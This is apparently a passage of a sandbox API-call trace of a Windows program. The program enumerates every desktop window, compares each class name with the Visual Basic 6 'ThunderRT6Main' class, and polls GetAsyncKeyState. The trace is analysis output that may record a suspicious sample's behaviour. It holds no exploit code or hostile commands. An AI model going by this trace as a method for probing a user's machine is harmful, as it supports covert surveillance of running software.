[0145.217] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.217] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0145.217] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0145.217] GetClassNameA (in: hWnd=0x20170, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Essays_Attorneys_wnd") returned 20 [0145.217] lstrcmpA (lpString1="Essays_Attorneys_wnd", lpString2="ThunderRT6Main") returned -1 [0145.217] GetWindowThreadProcessId (in: hWnd=0x20170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0145.217] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0145.217] GetClassNameA (in: hWnd=0x10172, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.217] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.217] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0145.217] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0145.217] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Adequate_Downloading_window") returned 27 [0145.217] lstrcmpA (lpString1="Adequate_Downloading_window", lpString2="ThunderRT6Main") returned -1 [0145.217] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0145.217] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0145.217] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.217] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.217] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0145.217] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0145.217] GetClassNameA (in: hWnd=0x10168, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Cruises_Construct_win") returned 21 [0145.217] lstrcmpA (lpString1="Cruises_Construct_win", lpString2="ThunderRT6Main") returned -1 [0145.217] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0145.217] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0145.217] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.217] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.217] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0145.217] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0145.217] GetClassNameA (in: hWnd=0x10164, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Causing_Fighting_platinum_") returned 26 [0145.217] lstrcmpA (lpString1="Causing_Fighting_platinum_", lpString2="ThunderRT6Main") returned -1 [0145.217] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0145.218] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0145.218] GetClassNameA (in: hWnd=0x10166, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.218] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.218] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0145.218] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0145.218] GetClassNameA (in: hWnd=0x10160, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ConflictBindingunit") returned 19 [0145.218] lstrcmpA (lpString1="ConflictBindingunit", lpString2="ThunderRT6Main") returned -1 [0145.218] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0145.218] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0145.218] GetClassNameA (in: hWnd=0x10162, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.218] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.218] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0145.218] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0145.218] GetClassNameA (in: hWnd=0x300fa, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Packrxapp") returned 9 [0145.218] lstrcmpA (lpString1="Packrxapp", lpString2="ThunderRT6Main") returned -1 [0145.218] GetWindowThreadProcessId (in: hWnd=0x300fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0145.218] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0145.218] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.218] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.218] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0145.218] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0145.218] GetClassNameA (in: hWnd=0x50102, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Cells_Surfaces_window") returned 21 [0145.218] lstrcmpA (lpString1="Cells_Surfaces_window", lpString2="ThunderRT6Main") returned -1 [0145.218] GetWindowThreadProcessId (in: hWnd=0x50102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0145.218] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0145.218] GetClassNameA (in: hWnd=0x30108, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.218] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.218] GetWindowThreadProcessId (in: hWnd=0x30108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0145.218] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0145.218] GetClassNameA (in: hWnd=0x3015a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0145.218] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0145.218] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0145.219] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0145.219] GetClassNameA (in: hWnd=0x10146, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0145.219] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0145.219] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0145.219] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0145.219] GetClassNameA (in: hWnd=0x10144, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0145.219] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0145.219] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0145.219] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0145.219] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0145.219] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0145.219] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0145.219] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0145.219] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0145.219] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0145.219] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0145.219] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0145.219] GetClassNameA (in: hWnd=0x10130, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.219] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.219] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0145.219] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0145.219] GetClassNameA (in: hWnd=0x10124, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBEA41F0") returned 20 [0145.219] lstrcmpA (lpString1="ATL:000007FEFBEA41F0", lpString2="ThunderRT6Main") returned -1 [0145.219] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0145.219] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0145.219] GetClassNameA (in: hWnd=0x10126, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.219] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.219] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0145.219] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0145.219] GetClassNameA (in: hWnd=0x10118, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0145.219] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0145.219] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0145.219] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0145.219] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.220] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.220] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0145.220] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0145.220] GetClassNameA (in: hWnd=0x10116, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0145.220] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0145.220] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0145.220] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0145.220] GetClassNameA (in: hWnd=0x20018, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0145.220] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0145.220] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0145.220] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0145.220] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.220] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.220] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0145.220] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0145.220] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0145.220] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0145.220] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0145.220] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0145.220] GetClassNameA (in: hWnd=0x20016, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.220] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.220] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0145.220] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0145.220] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0145.220] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0145.220] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0145.220] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0145.220] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.220] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.220] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0145.220] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0145.220] GetClassNameA (in: hWnd=0x10106, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0145.221] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0145.221] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x570 [0145.221] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0145.221] GetClassNameA (in: hWnd=0x10104, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0145.221] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0145.221] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0145.221] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0145.221] GetClassNameA (in: hWnd=0x10100, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0145.221] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0145.221] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0145.221] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0145.221] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0145.221] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0145.221] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x53c [0145.221] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0145.221] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0145.221] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0145.221] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0145.221] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0145.221] GetClassNameA (in: hWnd=0x10084, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0145.221] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0145.221] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0145.221] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0145.221] GetClassNameA (in: hWnd=0x10082, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0145.221] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0145.221] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0145.221] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0145.222] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0145.222] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0145.222] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0145.222] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0145.222] GetClassNameA (in: hWnd=0x10068, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0145.222] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0145.222] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0145.222] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0145.222] GetClassNameA (in: hWnd=0x20020, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0145.222] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0145.222] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0145.222] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0145.222] GetClassNameA (in: hWnd=0x20024, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.222] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.222] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0145.222] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0145.222] GetClassNameA (in: hWnd=0x10064, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0145.222] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0145.222] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0145.222] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0145.222] GetClassNameA (in: hWnd=0x10052, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0145.222] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0145.222] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0145.222] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0145.222] GetClassNameA (in: hWnd=0x10054, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.222] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.222] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0145.222] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0145.222] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0145.222] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0145.222] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0145.222] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0145.223] GetClassNameA (in: hWnd=0x10044, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0145.223] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0145.223] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0145.223] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0145.223] GetClassNameA (in: hWnd=0x20040, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0145.223] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0145.223] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0145.223] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0145.223] GetClassNameA (in: hWnd=0x10042, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.223] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.223] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0145.223] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0145.223] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0145.223] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0145.223] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x44c [0145.223] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0145.223] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0145.223] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0145.223] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0145.223] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0145.223] GetClassNameA (in: hWnd=0x20022, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0145.223] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0145.223] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0145.223] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x100ec [0145.223] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0145.223] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0145.223] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0145.223] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0145.223] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x7b09b60 [0145.224] IMalloc:Free (This=0x7fefecb5380, pv=0x7b09b60) [0148.099] GetAsyncKeyState (vKey=27) returned 0 [0148.099] GetCurrentThreadId () returned 0xbdc [0148.099] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0148.099] GetDesktopWindow () returned 0x10010 [0148.099] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0148.099] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.099] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.099] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.099] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0148.099] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.099] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.099] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.099] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0148.099] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.099] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.099] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.099] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0148.099] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0148.099] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0148.099] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0148.099] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0148.099] GetClassNameA (in: hWnd=0x10136, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0148.099] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0148.099] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0148.099] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0148.099] GetClassNameA (in: hWnd=0x10134, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0148.099] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0148.100] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0148.100] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0148.100] GetClassNameA (in: hWnd=0x10076, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.100] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.100] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.100] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0148.100] GetClassNameA (in: hWnd=0x10074, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.100] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.100] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.100] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0148.100] GetClassNameA (in: hWnd=0x10060, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.100] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.100] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.100] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0148.100] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.100] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.100] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.100] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0148.100] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.100] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0148.100] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0148.100] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0148.100] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0148.100] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") 